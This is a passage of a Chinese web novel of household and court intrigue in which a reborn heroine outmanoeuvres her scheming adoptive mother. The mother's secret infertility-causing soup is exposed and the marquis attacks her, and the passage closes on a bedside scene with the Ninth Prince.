万氏听说二儿子摔了腿，完全没当回事。 上一世苏明添也摔了腿，后来被医好了，成了武将。 在万氏看来，这就是苏明添该渡的劫。 伤好之后，就能一飞冲天了。 苏明沛也没当回事，他知道苏明添今后的路，根本不需要担心，再说了，他自己的屁股还伤着，轻易走不得。 只有苏明芷和威远侯慌得不行，请了好几个医师。 苏明珠则趁机去刷好感。 她亲自端着药去探望，看到床上躺着那个血肉模糊的人，苏明珠被吓坏了。 苏明添两条腿都被马蹄踩断了，头脸肿得像猪头，右手也断了。 苏明珠皱了皱眉，上一世，听说二哥哥是为了救恭王世子受的伤，而且只断了一条腿。 这一世，二哥哥怎么伤得这么重？ “二哥哥，究竟发生了什么事，你怎么弄成这样？” 苏明添脸上包着纱布，整个人萎靡不振。 一想起演武场的遭遇，心头就被一股暗黑的恐惧笼罩。 他根本没料到黑马会发狂，他当时太兴奋了，已经开始幻想进入金吾卫后怎么在苏舒窈面前扬武扬威了。 九殿下看起来弱不禁风，定然不是他的对手。 他还在思考，怎么控制力度险胜九殿下。 没成想黑马忽然就发疯了。 还没来得及和九殿下交手，他就坠了马。 输得这么惨，恭王世子应该会厌弃他吧？ 现在成了个废人，他的光明前途，全完了。 他这辈子，就是个残废了。 想到这里，苏明添的身体不自觉颤抖起来。 为什么会变成这样，他不甘心！ 苏明珠叹了口气：“都说了让你小心，最近别去西山，看吧，现在受伤了。” 她的语气透着一股猜对了事实的优越感，让苏明添觉得刺耳：“你什么意思？” “没什么意思，我是担心你。二哥哥放心，你的伤肯定会痊愈的。”苏明珠不敢得罪苏明添，放低声音：“来，二哥哥，我给你喂药。” 苏明添张开嘴，把药喝了。 “二哥哥，你有什么不舒服，尽管叫人喊我，我一直都在。”苏明珠看了眼苏明添的腿伤。 上一世，苏明添腿断的时候，她还没回府。 听说二哥哥的腿伤得很重，久治不愈，是苏舒窈上山求来鬼医治好了二哥哥的腿。 听说鬼医无所不能，二哥哥的伤虽重，鬼医应该能治好吧。 苏明珠并没有打算抢在苏舒窈前面去求鬼医。 听说鬼医虽然医术高明，但性格刁钻，上一世二哥哥最不爱提起的，就是鬼医。 二哥哥说了，鬼医心术不正，且善毒，虽然把他医治好了，但在医治过程中搞得他苦不堪言。 他不会感激鬼医，更是因此恨上了找来鬼医的苏舒窈。 她只要陪着二哥哥说说话，二哥哥在乎的人，永远是她。 就跟上一世一样。 想到这里，苏明珠甜甜一笑，拿着帕子帮苏明添擦拭嘴角药渍：“二哥哥，药苦，喝完药吃颗蜜饯。” “这是我为你求的平安符，我相信你很快就会痊愈的。” “一个人躺着很无聊吧，二哥哥，我读书给你听好不好？”苏明珠陪着苏明添说了一会儿话，又捧着兵书读起来。 苏明添有人陪着，心绪渐渐平静：“苏舒窈呢？让她过来给我熬药！” 以前他每次受伤，苏舒窈都着急得不得了，还会亲自守在床边伺候。 这次他受伤之后，所有人都来探望过了，就只有苏舒窈，现在连影儿都没有。 如果她现在迷途知返，亲自照顾他，他会考虑原谅她。 苏明珠低声道：“不知道，听说姐姐没回府，不知道哪里玩去了。二哥哥要找姐姐？” 苏明添冷笑一声：“我找她干什么？她是找到新哥哥，看不上我了。” 他自己都没有发觉，语气透着一股子酸味儿。 苏明珠抿了抿唇，“什么新哥哥啊？” 苏明添把偶遇苏明沣和三白眼惨死的事说了，“就算不是苏舒窈杀的人，也和她有关......” 苏明珠忽然抬起头来：“二哥哥，你是被九殿下的马伤成这样的？” 苏明添点了点头。 苏明珠捂着嘴，露出一副惊讶的表情：“二哥哥，舒窈姐姐和九殿下似乎关系匪浅，二哥哥的朋友说不定真是姐姐害的，二哥哥这身伤，说不定也是拜舒窈姐姐所赐......” 前段时间，锦衣卫忽然闯进府里把苏舒窈带走，又把她原封不动送回来。 送回来的时候，她身上穿着九殿下的披风，手上还拿着九殿下的宝剑。 听说她回来的时候，内里的衣裙是坏的。 那个贱人，肯定是利用美色勾引了九殿下。 取下三白眼人头的铁皮盒子很是精巧，只有锦衣卫，才有那种奇巧淫技。 苏明添听着苏明珠的分析，脸色越来越绿...... 王兄让他把苏舒窈献给恭王世子，他还拒绝。 没想到那个吃里扒外的贱人，早就和九殿下滚做一堆了。 苏明添双眼迸射出滔天恨意。 好你个苏舒窈，我把你当妹妹，你竟然把我害得这么惨！！ “明珠，帮我联系王兄。” 苏舒窈毁他前途，也别怪他心狠手辣。 他要想法把苏舒窈献给恭王世子。 他不是卖妹求荣，这是苏舒窈欠他的！ 苏明珠：“二哥哥哥，这么大的事，要告诉父亲和母亲吗？” 威远侯还等着利用苏舒窈攀附长公主呢，肯定不会允许他们擅作主张。 这事需得避着威远侯。 倒是可以告诉母亲。 母亲和她一样恨着苏舒窈。 苏明珠得意一笑，苏舒窈以为攀附上九殿下就会高枕无忧了。 真是愚蠢。 九皇子夺嫡惨败，和九皇子搅在一起，可没有好下场。 可惜的是，她连勾搭九皇子的机会都没了。 她马上就会被送给恭王世子，惨遭玩弄。 第87章 知晓 有了前世的经历，苏舒窈很容易便找到鬼医的住处，鬼医宅院门口，还是像上一世那样设置了阵法。 迷踪阵法，苏舒窈上一世闯过，还被困过，再一次见到，竟然生出几分亲切。 “二哥哥、三哥哥，你们跟紧我。” 阵法还是其次，关键是鬼医的脾性，“待会儿见了人，千万别乱说话。” 在苏舒窈的带领下，三人很快通过阵法，见到了鬼医。 鬼医七十多岁，留着长长的白胡须，看起来跟福寿仙翁一般慈祥。 苏舒窈将“绿云”献了上去：“恳请鬼医大人帮忙救一人。” 鬼医见了“绿云”，果然很高兴：“将姓名地址写下来，我有空就来。” 苏舒窈将大伯的名字地址写在纸上递了过去，鬼医将纸条随手一扔，看都没看，便要将人赶走。 苏明沣很是不满：“鬼医大人，你什么时候来看诊啊？” 鬼医：“有空之时。” 苏明沣：“那你什么时候有空？” 鬼医没说话，伸手捋了捋胡须。 苏舒窈知道，鬼医不耐烦了：“三哥哥，别说了，我们先出去。” 苏明沣连珠炮似地问道，拦都拦不住：“你都不问病人的情况吗？能不能医也没个准数，这盆绿云可是舒窈妹妹花了大心思培育的，价值千金，能医好我爹才能送你的！” 苏舒窈拉着苏明沣就往外走，“三哥哥，快闭嘴，别说了。” 苏明沣一边走一边抱怨：“舒窈妹妹，这人不是骗子吧？哪有人这么看诊的，他连纸条都没看......” 话还没说完，苏明沣忽然就哑了。 他张开嘴，阿巴阿巴，一句话也说不出来。 苏舒窈叹了口气。 还是迟了。 苏明南不敢说话，指着苏明沣的嘴，睁大眼睛。 苏舒窈笑了笑：“不必担心，哑几天就会好。” 上一世苏明添对着鬼医出言不逊，也被毒哑过。不用吃药，过几天就好了。 鬼医有很多稀奇古怪的药，有让人全身发痒的药，有让人昏迷不醒的药，有让人假死的药，只要惹得鬼医不高兴，就会莫名其妙中药。 苏明沣知道自己中了毒，非但没有沮丧，反而双眼一亮。 他张开嘴，指着鬼医，又指了指自己，原地转了个圈。 苏舒窈不懂他的意思。 苏明南眉心一皱：“什么？你想拜鬼医为师？快走吧，小心被鬼医给药瘫痪了。” 苏明沣又朝着苏舒窈比划。 他的样子实在滑稽，苏舒窈笑道：“要拜师，先等能开口说话了再说吧。” 苏明沣这才悻悻闭上嘴。 “鬼医既然答应了会来，就一定会来的，二哥哥、三哥哥放心在家等候就行。” ~ 苏舒窈刚一回到侯府，就被万氏叫了过去。 “明添受伤了，你不知道吗？” 苏舒窈摇摇头：“不知道。” 万氏不信，脸上露出一抹冷笑。 不知道，不知道你跑去琅玡山找鬼医？ 苏舒窈最近越来越鸡贼了，说话一点也不老实。 “过几日你跟着我一起去恭王府，问一问明添的伤究竟是什么情况？” 苏舒窈疑惑道：“母亲，我们什么身份去恭王府？二少爷受伤，我们有什么资格上门责问恭王世子？” 苏明添不过是恭王世子的狗腿，不对，苏明添连狗腿也算不上，他们这样的落魄勋贵，怕是连恭王府的大门都进不去。 万氏脸上露出一抹不悦：“让你去就去，我自有安排。” 苏舒窈知道，万氏肯定私下里憋了坏招。 无妨，她自然有办法知晓。 苏舒窈点头答应下来。 万氏脸上露出一抹舒心的笑来：“明添那里，你还是去看看，不可因为一点小事失了兄妹之情。” 万氏非常赞成将苏舒窈送给恭王世子，只不过，在送人之前，还需要苏舒窈把鬼医请进府来，为明添治病。 鬼医入府当天，苏舒窈就没用了。 苏舒窈去看了一眼苏明添。 苏明添伤得比上一世重许多，双腿断了，右手也断了，鼻青脸肿，看不出人形。 苏明添见着人，一句话没说，只是看向苏舒窈的眼神很复杂，有怨恨，也有怜悯。 苏舒窈回去之后，悄悄让人给月姨娘传了两句话。 ~ 月姨娘这段时间的吃食，全是出自倚兰居的小厨房。 苏舒窈吃什么，她就跟着吃什么，吃了没几天，下巴都圆润了。 “世子，听说明珠妹妹又去了二少爷那里，她不仅给二少爷喂了药，还给二少爷读书解闷。” 月姨娘坐在临窗的榻上，给孩子缝制小衣。 “世子，都怪妾身，都是妾身的错，因为妾身，明珠妹妹都不和世子亲了。” 苏明沛趴在床上看书，闻言，冷笑一声：“阿梨，怎么会是你的错？这事你别管，好生养胎，一定要保护好肚子里的麟儿！” 月姨娘脸上挤出一抹笑来。 苏明沛真是愚蠢啊，明知苏明珠要害她，最大的反击便是让她不喝苏明珠送来的汤。 她要是坐以待毙，坟头草都三尺高了。 月姨娘摸着肚子，脸上露出一丝胆怯：“世子，我们什么都不做，会不会太被动了一些，要不找人暗中打听一下二小姐的行动，就怕防不胜防，妾身听说，后宅里害人的法子可多得很。” 苏明沛言之凿凿：“阿梨你放心，全都交给本世子就是，本世子岂是那等蠢笨之人。” 他把明画唤来：“去，到二小姐那里传话，就问她，是不是不要我这个大哥了？” 月姨娘深吸一口气，差点没将“蠢猪”二字骂出口。 让他悄悄去调查，他大张旗鼓去问，不是明晃晃告诉对方，我们在怀疑了吗？ 她还没来得及阻止，明画已经跑了。 不到半盏茶的时间，苏明珠便过来了。 “大哥哥，你怎么了？妹妹怎么会不要你呢？是不是有什么误会？” 苏明沛朝着月姨娘得意地扬了扬眉，然后看向苏明珠：“听说你天天往二弟那里跑，一坐就是大半天。” “母亲吩咐我照看二哥，我是不得不去，怠慢了大哥哥，妹妹向大哥哥赔罪。” 苏明珠不来，是为了避嫌。 她也想来看看月姨娘的情况，又担心月姨娘死后，被怀疑月姨娘的死和她有关。 苏明珠看向月姨娘，满脸关切：“对了，嫂嫂最近怎么样了？” 月姨娘故意涂了粉，将一张脸抹得卡白：“二小姐，妾身最近胃口不大好，老是恶心。” 苏明珠满脸担心：“嫂嫂好生将养，有什么需要的，让人来告诉我就是，我那里要是没有，我去母亲那里也要帮你要来。” 苏明沛眼神中流露出一抹动容。 明珠这般关心阿梨，是不是误会了？ 月姨娘看着苏明沛那个蠢样就心烦，她站起来揉了揉腰：“你们说说话，妾身坐一天了，出去透透气。” 月姨娘一走，苏明珠为了讨好大哥，把对苏舒窈的打算说了。 苏明珠走后，苏明沛又将苏明珠的话原封不动地告诉了月姨娘。 “阿梨，我怀疑，要害你的另有其人。”苏明沛想起苏明珠对月姨娘关心的话语，眉心微微皱起：“明珠对你很是关心，她还给孩子做了鞋袜，怎么可能害你？” 月姨娘弱弱地拧着手帕：“那既然这样，今后二小姐送来的汤水，世子喝了吧。” 一个人怎么能蠢成这个样子？ 苏明沛愣了愣，没说话。 当晚，他们的计划苏舒窈全都知道了。 第88章 汤药 秋霜听到夫人要把苏舒窈献给恭王世子，气得浑身颤抖，“夫人怎么可以这样？！那恭王世子妻妾成群，荒淫无度，夫人怎么可以把大小姐送进恭王府！大小姐，我们告诉侯爷吧，侯爷一定不会同意的！” 威远侯还等着利用苏舒窈攀附长公主府呢，虽然都是目的不纯，但谢小郡王年少有为，比恭王世子好了上万倍。 苏舒窈怀里抱着霜染，有一搭没一搭捏着猫爪爪，一派云淡风轻：“别急，让人把乔姨娘请来，夫人马上就要自顾不暇了。” 乔姨娘是威远侯爱妾，生得娇美丰韵，深受宠爱。 自从乔姨娘入了府，威远侯十天有九天都是歇在乔姨娘房中。 苏舒窈院子里养了不少花，乔姨娘经常过来讨要。 不到半盏茶的时间，乔姨娘就来了，苏舒窈送了她一盆兰花，又说了几句话。 乔姨娘临走时，摇得花枝乱颤。 当晚，乔姨娘略施小计，就将威远侯勾到了自己院子里。 两人敦伦之后，乔姨娘握住威远侯的手，在肚子上轻轻揉着，娇滴滴道：“侯爷，妾身入府都一年多了，怎么一点动静都没有啊？” “侯爷经常歇在妾身这里，侯爷还这般龙精虎猛......难道是妾身没有福气？可是，要说妾身没有福气，怎么又能得到侯爷垂怜......” 乔姨娘说着说着，竟然哽咽起来。 威远侯将爱妾搂进怀里，大力揉搓，“本侯爷再给你播种一点雨露，说不定今儿就能怀上。” ”哎呀，侯爷你坏......” 风雨摇曳，地动山摇。 趁着威远侯含香吐露正在兴头，乔姨娘柔情蜜意地提出需求：“侯爷，能不能找个医师给妾身瞧瞧脉，如果能吃几贴药怀上侯爷的麟儿就好了。” 经过一晚上努力，第二天一早，威远侯就给乔姨娘找了个妇科圣手。 医师瞧完脉：“姨娘身体健康，脉象有力，不需要吃药，可能是缘分未到，等一等就来了。” 乔姨娘收回手，朝着威远侯撒娇：“侯爷，让医师帮侯爷也瞧瞧脉吧。” 威远侯脸色一凛：“胡闹！本侯爷瞧什么脉？！” 在大夏，生不出孩子，一般都默认是女子的问题，男子要是被查出不育，是丢脸的大事。 威远侯这么要面子，怎么可能让医师瞧脉。 再说了，他已经生了两儿两女，怎么可能有问题。 乔姨娘挺着胸脯去蹭威远侯的手臂，娇里娇气道：“侯爷想什么呢，就是瞧个平安脉。侯爷这段时间有些操劳，妾身担心罢了。” 威远侯手臂被一团香软按摩，脸色好了许多：“那就瞧瞧吧。” 医师瞧完脉，有些欲言又止。 正在这时，庞妈妈奉万氏的命给侯爷送汤来了。 乔姨娘娇笑道：“庞妈妈辛苦了，汤放下吧，妾身自会伺候侯爷。” 庞妈妈有些不悦：“夫人说了，让奴婢亲自服侍侯爷服用。” 乔姨娘嘤咛一声，躲入威远侯怀抱：“侯爷，庞妈妈凶人家，人家害怕。” 威远侯横了庞妈妈一眼：“还不快滚。” 庞妈妈暗骂了一句狐狸精，将汤水递了过去：“侯爷趁热喝，这汤夫人熬了三个时辰，汤里放了珍贵的药材。” 威远侯：“还不快滚！” 庞妈妈离开后，乔姨娘窝在威远侯怀里，手指在他胸口打着圈： “侯爷，这汤妾身能不能喝一点啊，妾身也想补一补身子。” 威远侯在她鼻子上捏了一下：“小馋猫。能不能喝，问问医师不就行了？” 乔姨娘这才恍然大悟般，“哎哟，快让人拿小碗，盛一点出来，让医师看看。” 医师闻了闻汤水，又检查了一番，还亲自尝了两口。 神情严肃。 乔姨娘眼珠子一转：“医师，怎么了？” 医师：“侯爷，这事需要单独说。” 威远侯将医师带进书房，两人关上门说了一会儿话，再出来的时候，威远侯脸色黑如锅底，浑身颤抖。 他取下墙上佩剑，直奔春景园。 “万氏这个毒妇......本侯爷要杀了她！！！” ~ 万氏正在小佛堂上香，她跪在蒲团上，闭上眼诚心诵经祈福。 苏明珠和庞妈妈守在一旁。 诵完经，万氏睁开眼：“苏舒窈那边，有没有什么动静？” 庞妈妈小声道：“回夫人，月姨娘、乔姨娘偶尔会去大小姐那里拿花。” 万氏冷笑一声：“没出息，和姨娘交好，有什么前途？” 说着，看向苏明珠：“对了，月姨娘那边怎么样了？” 苏明珠笑道：“昨儿女儿去了大哥那里，月姨娘脸色不是很好，听说吐得厉害。” “就是吧，听说月姨娘最近的吃食都是出自苏舒窈的小厨房。” 万氏皱着眉骂道：“搅家精！真是哪哪都有她！” “真是一点也不孝，小厨房建好这么久，没见她给我送一粥一饭，居然还给姨娘送！” “来人，把她给我叫来，再给月姨娘吃食，就把她的小厨房给撤了！” 苏明珠笑道：“母亲，其实不用阻止，到时候月姨娘出了事，不是可以顺理成章推到苏舒窈身上。” 万氏想了想，觉得很有道理：“对了，恭王世子那边联系得怎么样了？” 苏明珠道：“递了画像过去，恭王世子很满意。” 万氏这才满意地点了点头。 只要苏舒窈把鬼医请来，她就把人送进恭王府。 “去，把大小姐叫来。” 她倒要问问，鬼医怎么还没来？ 第89章 闹翻 苏舒窈正愁找不到借口去春景园看热闹，听说万氏叫她，她早饭都没用就来了。 进入春景园大门，就有小丫鬟迎上来：“大小姐，还请到廊下等着，夫人正在礼佛。” 廊下又热又晒。 苏舒窈淡淡一笑。 万氏也就会这点招数了。 站了约莫一盏茶的时间，万氏让人把她叫了进去。 “明添伤得这么重，你就这样看着？” 苏舒窈淡淡回道：“回夫人，二少爷不喜欢我，我去了，二少爷反而会心情烦闷影响病情。” 万氏命令道：“想法子请个靠谱的医师回来。” 鬼医性格古怪，轻易不帮人看诊，上一世，不知道苏舒窈用了什么法子将鬼医请回来。 要不是看着苏舒窈还有点用，早把她送去恭王世子那里了。 苏舒窈乖巧回答：“是。” 万氏继续道：“什么时候能请回来？” “听夫人吩咐。”苏舒窈知道，万氏等着她去请鬼医呢。 鬼医没有，巷子口游医多得很。 万氏满意地点了点头：“我身子有些不适，你替我捡佛珠，佛珠捡完就去吧。” 万氏新发明的折磨人的法子：把佛珠扔在地上，再一颗颗捡起来。 苏舒窈笑着应道：“是。” 万氏把佛珠撒到院子里：“捡吧。” 捡佛珠正好给了苏舒窈一个留下来的理由，她还没来得及捡起一颗，便听“砰”的一声，春景园大门被一脚踢开。 威远侯提着剑冲了进来。 威远侯双目猩红，衣衫凌乱，握剑的手青筋暴起。 威远侯长得方正，也善打扮，颌下短须修剪得齐整，透着几分儒雅。 他看重面子，轻易不在外人面前发火。 这还是苏舒窈第一次见他这般破防。 男子的雄风遭受重创，对威远侯来说，可是致命的打击。 “万氏，你个毒妇，给本侯爷滚出来！” 苏舒窈推了苏明珠一把：“妹妹最是孝顺，怎么着也该给夫人挡两剑。” 苏明珠被推到威远侯面前，差点被剑割到脸，吓得花容失色。 威远侯一把推开苏明珠，扯着万氏的头发，骂道：“本侯爷要休了你这个毒妇！” 春景园鸡飞狗跳。 佛龛被威远侯推倒了，香灰洒了一地。 苏舒窈叫来两个小丫鬟：“去，把世子和二少爷抬过来，就说侯爷要休妻。” 苏明沛和苏明添被抬过来的时候，威远侯正扯着万氏的头发，举着剑对准万氏的喉咙。 “你个毒妇，给爷死！” 苏明珠抱住威远侯的脚，哭得肝肠寸断：“父亲，究竟是什么事您要对母亲喊打喊杀，母亲嫁入侯府几十年，生儿育女、操持中馈，没有功劳也有苦劳，您不能不分青红皂白啊！” 苏明沛不顾屁股痛，让下人把他抬到威远侯旁边，抓住威远侯的袖子：“父亲，有什么误会说清楚，当着这么多下人的面对母亲喊打喊杀，置母亲的脸面为何的？” 苏明添断了双腿外加一只手，也被抬出来拦在威远侯和万氏面前。 就连苏明芷，也拦在中央，阻止威远侯对万氏动刀。 威远侯有种被全家孤立的感觉。 他看着护着万氏的两个儿子两个女儿，一股寒意从脚后跟一直蔓延到后脑勺。 不知道万氏那个毒妇从何时开始毒害他的，四个儿女究竟是不是他亲生的骨肉...... 威远侯眼前一黑，手中宝剑差点没拿稳。 苏舒窈觉得这一幕有些滑稽。 尤其是威远侯，拿着剑半天不砍下去，不知道在等什么。 万氏吓得浑身发抖：“侯爷，您这是怎么了，是不是乔姨娘那个贱人胡乱编排妾身......” 威远侯一脚踹到万氏胸口：“少给别人泼脏水，你自己干了什么好事，难道不知道？！” “本侯爷要休了你！” 万氏垂着眼帘：“侯爷，你要休妻，问过万家人了吗？” 万氏有两个哥哥，大哥在兵部任职，二哥在鸿胪寺。 两个哥哥官职虽不高，但也不可随意拿捏，更别说二哥家的女儿进了三皇子府当侍妾，只要等到三皇子登基，二哥可是前途无量。 “侯爷，休妻可不是你一句话的事。侯爷说说，妾身究竟犯了什么罪？” 万氏这个时候也琢磨出一点头绪，应该是汤水的事被发现了。 可恶，究竟被谁揭穿的？ 乔姨娘？ 那个胸大无脑的蠢货，除了会在床上笼络男人，还会什么？ 苏舒窈？ 感觉不太可能，她送汤送了这么些年，苏舒窈上一世到死都不知道，不可能这一世会知道...... 万氏稳定心神，看向威远侯：“侯爷无缘无故对妾身喊打喊杀，妾身不服！” 她既然敢送汤，当然考虑过被揭穿的后果。 威远侯要面子，就算发现了汤里加了东西，大概率不会宣扬出口，很有可能会打落牙齿和血吞。 伤及男子尊严，他绝对不会让外人知晓。 依她对威远侯的了解，乔姨娘要是知道真相，乔姨娘也活不长。 退一万步来说，这汤水只是让他生不出孩子，并未伤及雄风。 今日闹这一场，不过是雷声大、雨点小。 她只需要给点银子，再给侯爷置办两房美妾就能揭过。 她可是生了两个儿子，两个儿子可不会眼睁睁看着她被休。 论起对威远侯的了解，没人能超过万氏。 果然，威远侯气得发抖，但面对万氏的质问，他始终没有回答。 他扔下宝剑，“啪啪”扇了万氏两耳光：“你个贱人，竟敢害我！” 两巴掌下去，万氏只觉得一张脸火辣辣的痛。 打完耳光，威远侯还觉得不解气，又踹了万氏两脚。 “贱人，你这个贱人！我怎么娶了你这样一个毒妇！！！” “从今天起禁足，哪里也不许去！府里的中馈交出来！” “就算休不了你，你也别想好过！！” 威远侯打完万氏，又冲进房里打砸了一通，整个房间被砸得稀烂。 瓷器散落一地，箱柜桌椅被掀翻，床上的被褥也被砍得乱七八糟。 发完脾气，威远侯走了。 苏明珠和苏明芷将万氏扶进耳房，让人打水，拿药。 耳房小，苏明沛和苏明添进不去，躺在床板上被丫鬟抬着守在门口。 苏舒窈也站在门口。 这么大一件事，就这么不痛不痒地算了？ 真是太便宜万氏了。 该怎么闹得人尽皆知呢？ 苏舒窈正在思索，忽然，床板上的苏明添发出一声冷笑：“苏舒窈，你在窃喜什么？” 第90章 香不香 苏舒窈轻轻一笑，差点忘记这两兄弟了。 有他俩帮忙，还怕这事闹不大？ “二少爷，我没有窃喜，我在担心夫人。” 苏明添听到“二少爷”这个称呼就觉得额上青筋乱跳：“那你笑什么？” 苏舒窈抬手摸上脸颊，手动压平嘴角：“二少爷看错了吧，夫人遭逢大难，我怎么会笑？” 苏明添还要再说，苏明沛打断道：“二弟，别瞎扯了，当务之急，是搞清楚父亲为什么发这么大的火？” 苏舒窈揉揉脸，脸上露出一抹恰到好处的担忧：“夫人一向贤惠，定不会做出太过分的事，恐怕有小人从中撺掇？” 苏明沛：“会不会是乔姨娘？” 父亲对乔姨娘的偏宠，阖府皆知。 侯府没钱，各个院子捉襟见肘，父亲对所有儿女一视同仁、一分不给，私下却对乔姨娘多有补贴，乔姨娘的吃穿用度，都快赶上母亲了。 苏舒窈点点头：“世子分析得不无道理，如果真是乔姨娘从中挑拨，我们也没有资格评断。” 乔姨娘是良妾，相当于侯府半个主子，属于“长辈”范畴。 敬而不亲，顺而有节，不是他们当小辈的可以随意冒犯的。 苏明沛冷笑一声：“我们拿乔姨娘没有办法，总有人有办法。” 他唤来明画：“拿我的帖子，去舅舅家，就说父亲要休妻，让舅舅舅妈上门给母亲讨个说法！” “这种祸家的玩意儿，还是趁早打发的好！” 苏明沛不自觉摆出上一世当官的威风来。 苏舒窈提醒：“只请万家人，到时候侯爷会不会觉得不公平？” 苏明沛勾唇一笑：“那就把苏家族长和苏家几位德高望重的长辈全部请来！” 到时候长辈全部在场，还不能压着父亲把乔姨娘给发卖了？ 苏舒窈称赞：“世子考虑得极为周全。” 苏明添：“母亲那边，要不要告知一声？” 苏舒窈：“不用。” 万氏要是知道，肯定会阻止。 她清楚万氏的打算，万氏巴不得大事化小小事化了，过段时间，等大家淡忘，侯府又是一片花团锦簇。 明明内里都快腐烂发臭了。 苏舒窈露出一抹担忧：“夫人受了这么大的惊吓，应该好生将养，不能再让她操心了。” 苏明添盯着苏舒窈的脸看了好一会儿，冷笑道：“算你有点良心。” 苏舒窈：“多谢二少爷夸奖。” 苏明添冷哼一声，“你把嘴闭紧了，乔姨娘要是逃了，我拿你试问！” 苏舒窈乖巧点头：“知道了。” “行吧，这件事就这样商定了。”商量完，苏明沛和苏明添被抬走了。 苏舒窈正要离开，庞妈妈将她叫住：“大小姐，夫人让你别忘了给二少爷请医师。” “我马上就去。” 万氏还有闲心让她去请医师，说明万氏对这件事完全没放在心上。 真以为拿捏住威远侯了。 不知道待会儿娘家人和族长找上门的时候，万氏会是一副什么样的表情？ 期待。 苏舒窈让人随便去巷子口请了两个游医送去苏明添院子，然后回了倚兰居，静静等候消息。 万家那边听说威远侯要休妻，马上就要过来，苏明沛怕打草惊蛇，让万家人酉时上门。 苏家族长和几个德高望重的长辈也回了话，答应过来。 酉时开家庙。 苏舒窈心情大好。 这件事一旦闹大，万氏可不是禁足这么简单了。 到时候威远侯的脸面，也会丢得干干净净。 辰时晨曦微露，离酉时还有五个时辰。 用完午膳，苏舒窈准备休息一下，到了晚上才有精神看戏。 这一场午觉，苏舒窈睡得极沉。 她做了一个梦，梦到了前世。 那是腊八节前夕，风不大，雪落得格外从容。 万氏让她置办一个温泉庄子，说要带着全家去温泉庄子住几日，就当过节庆祝。 她在外跑了几天，终于买到一个让万氏满意的温泉庄子，刚从衙门办好契书回府，便听说威远侯得罪了权贵，下了狱。 她热水都没来得及喝一口，顾不得双脚双手冰冷，又马不停蹄出门打听。 原来端王爷办了宴席，席间，威远侯多喝了两杯酒，说了胡话，触了贵人的逆鳞。 万氏说了，大过节的，怎么能让侯爷在狱中渡过，命令她三日之内必须将威远侯救出来。 苏舒窈散尽千金，到处求人。 最后求到端王妃那里，端王妃让她穿着薄裙在冰面跳舞，跳得她满意了，就将人放出来。 那一日，大雪，风寒刺骨。 寒风卷起雪沫，像是带刺的冰针，直往她骨头缝里钻。 单薄的长裙完全不能御寒，裙摆被冻成冰块，早已失了轻盈。 她全身僵硬，嘴唇被冻得发紫，头发被冻成冰棍，身体一阵一阵抽搐，视线也渐渐模糊...... 她觉得她要死了。 但，她依然不能停止旋转。 端王妃什么时候喊停，她才能停。 一个落魄侯府的养女，死了也就死了，激不起半点涟漪。 就在她快要撑不下去的时候，一道天籁响起。 “王妃，到此为止吧。” 说话的是九皇子。 九皇子一袭绯色蟒服如燃霞裹身，金线织就的蟒纹在雪光中流转。 “明儿我约了六哥在这里打冰球，死了人晦气。” 端王妃这才叫停。 她抖索着身子跪下谢恩，九皇子扔下一件大氅，“穿上、走。” 少年眸若寒星，眼底似盛着揉碎的星河。 苏舒窈不信神。 可是，那一刻，九殿下就是她心中最耀眼的神祇。 她裹着九殿下的大氅回了府，还没回府，便发起了高热。 听下人说，威远侯已经被放了出来，威远侯一回府，万氏便带着全家人去了温泉庄子。 下人还说，明珠妹妹是福星，明珠妹妹诚心礼佛，求得上天感动，父亲才被放了出来。 无人管她的死活。 那一刻，她唯一的温暖，是九皇子的大氅带来的。 大氅内的绒毛软乎，带着淡淡的松木香气，让僵直冰冷的身躯渐渐有了暖意。 心里的慌乱与意难平，似乎也被这一丝温暖的香气抚平。 从那一刻起，九殿下便在她心里留下了深深的烙印。 这一世，她不想死，她还想让九殿下也活下来...... 苏舒窈挣扎从噩梦中醒来，还没来得平复心虚，便看见眼前悬着一个戴着恶鬼面具的男人。 恶鬼面具极其丑恶，发毛枯黄，雪白的獠牙上沾着血。 苏舒窈汗毛倒竖、血脉喷张、心脏差点跳出胸腔。 忽然，一道冰凉、戏谑、又熟悉的嗓音响起。 “吓到了？” 楚翎曜坐在床边，伸手搭在苏舒窈手腕经脉上。 原来是九殿下。 苏舒窈瞬间安心下来，她摇了摇头：“没有。” “说谎。” 搭在脉上的手用力往下按，楚翎曜嗤笑道：“你明明怕得要死。” 感受到她剧烈跳动的脉搏，楚翎曜附身过去，抬手擦拭掉她额上的冷汗。 “你也会害怕。” 他的吐息温热，语气却凉薄： “之前在本王面前装得一副云淡风轻，很辛苦吧。” “为什么不尖叫、颤抖、哭泣呢？” 苏舒窈微微弯了弯唇角。 九殿下为了吓唬她，真是煞费苦心。 以往都是晚上悄悄来，今儿白天来了，倒是稀奇。 苏舒窈好几天没见到九殿下了，她闭上眼，深吸了一口气。 鼻尖萦绕熟悉的松木香气。 上一世，那件大氅上，也是这种香气。 九殿下好香。 丝丝缕缕的香气钻入鼻腔，顿感心旷神怡。 楚翎曜身形一顿，狭长的眸子蒙上一层寒霜：“你是狗吗，老是闻本王？” 苏舒窈：“因为殿下很好闻。” 楚翎曜：“......” “殿下要是觉得吃亏，可以闻回来。” 楚翎曜冷着脸没有说话。 他不用闻便知道苏舒窈身上的气味，清幽淡雅的兰花香气，气味浅淡，莫名让人很安心。 有时候带着一丝甜味儿，有时候柔和得好似江南的丝绸，又像是春雾，无声地浸润在空气里。 尤其是现在，坐在苏舒窈床上，床幔垂落，他好似被一种名为“苏舒窈”的香气包裹，一呼一吸都是她的气味。 但他不承认。 “本王不是狗。” 苏舒窈淡淡一笑，她早已发现，九殿下在偷偷闻她。 他偷闻了手上的气味。 那只手，刚才擦过她额上的汗。 “殿下，我香不香？” 第91章 诱惑 楚翎曜再一次懊恼。 戏弄猎物，他从未有过“失手”的时候，唯独在苏舒窈这里，每次都让他感到一种深深的无力、挫败。 看似他高高在上掌控全局，实际上，他才是那个被全程操控的提线木偶。 每次进攻的是他，到头来，他却成了那个防守的人。 攻守之势在无声之间发生了转变。 每次带着滔天杀意而来，但被她拥抱、嗅闻之后，这股杀意又变成莫名其妙的热气，在他身体内乱窜。 苏舒窈不是普通人，她是个怪胎，癫子。 对待癫子，只有比她更癫。 这一次，楚翎曜有备而来。 他必不会输。 “你很臭。”楚翎曜闭上眼，再次感受了那股兰花香气。 “难闻。” “是吗？”苏舒窈眉眼弯了起来：“我身上是什么味道？有多难闻？” 楚翎曜没有回答。 补充细节只能让谎言更快被戳穿。 苏舒窈发出邀请：“殿下要不要再凑近点，重新闻一闻？” “抱歉，本王没有兴致和你玩猫猫狗狗闻来闻去的游戏。”楚翎曜伸手一拉，地上传来锁链的响声。 